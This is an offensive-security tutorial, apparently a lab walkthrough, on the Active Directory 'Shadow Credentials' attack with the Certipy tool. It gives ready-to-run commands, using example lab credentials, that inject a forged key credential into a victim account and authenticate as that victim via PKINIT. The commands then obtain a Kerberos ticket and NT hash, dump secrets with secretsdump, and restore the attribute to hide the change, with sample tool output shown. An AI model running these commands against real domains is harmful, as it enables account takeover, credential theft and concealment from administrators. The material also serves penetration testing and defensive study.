Shadow Credentials are a stealthy method of impersonating users in Active Directory environments by injecting a forged certificate identity into the target account’s msDS-KeyCredentialLink
attribute.
This enables Smartcard logon (PKINIT) without knowing the user’s password or having their private key.
Certipy automates this attack via the shadow
module.
- Target: Any user with GenericWrite / WriteProperty / WriteDACL over another account.
- Vulnerability: Abuse of msDS-KeyCredentialLink to forge a valid Smartcard identity.
- Impact: Auth as victim via certificate (PKINIT), retrieve TGT, dump secrets.
- Restoration: Optionally revert the modified attribute for stealth.
You need:
- A low-priv user (attacker) with write access to the msDS-KeyCredentialLink property of a target user.
- faketime (i use timewrap, a custom bash script)
Example
We’ll impersonate victim.user@lab.local using attacker.user@lab.local with write access.
certipy-ad shadow auto -u 'attacker.user' -p 'Winter2023!' -account 'victim.user' -target 'DC01.lab.local' -dc-ip 10.10.10.10
What shadow auto
does:
The auto chain performs:
- Generate Certificate + Key
- Create forged KeyCredential blob
- Inject blob into msDS-KeyCredentialLink of victim
- Authenticate as victim via PKINIT
- Obtain TGT and NT hash
- Restore original KeyCredentialLink (stealth)
Behind the scene
Certipy will show something like:
[] Targeting user 'victim.user'
[] Generating certificate
[] Adding Key Credential...
[] Authenticating via PKINIT...
[] Got TGT
[] Dumping secrets...
[] NT hash for 'victim.user': b1bc3d70e70f4f36b1509a65ae1a2ae6
[] Restoring old KeyCredentialLink
If No identities found in this certificate appears, don’t worry — the cert is still valid for PKINIT.
Certipy drops:
- victim.user.pfx: Certificate and private key
- victim.user.ccache: Kerberos ticket cache (TGT)
- Hashes in terminal or victim.user.ntds (if dumped)
Use the .pfx or .ccache for relogin.
Manual Variant
- Inject Shadow Credential
certipy-ad shadow add -u 'attacker.user' -p 'Winter2023!' -account 'victim.user' -target 'DC01.lab.local' -dc-ip 10.10.10.10
- Authenticate via Certificate
export KRB5CCNAME=victim.user.ccache certipy-ad auth -pfx victim.user.pfx -domain lab.local -username victim.user
- Dump Secrets
secretsdump.py -k -no-pass lab.local/victim.user@dc01.lab.local
Cleanup (Manual - removing injected blob)
certipy-ad shadow restore -u 'attacker.user' -p 'Winter2023!' -account 'victim.user' -target 'DC01.lab.local' -dc-ip 10.10.10.10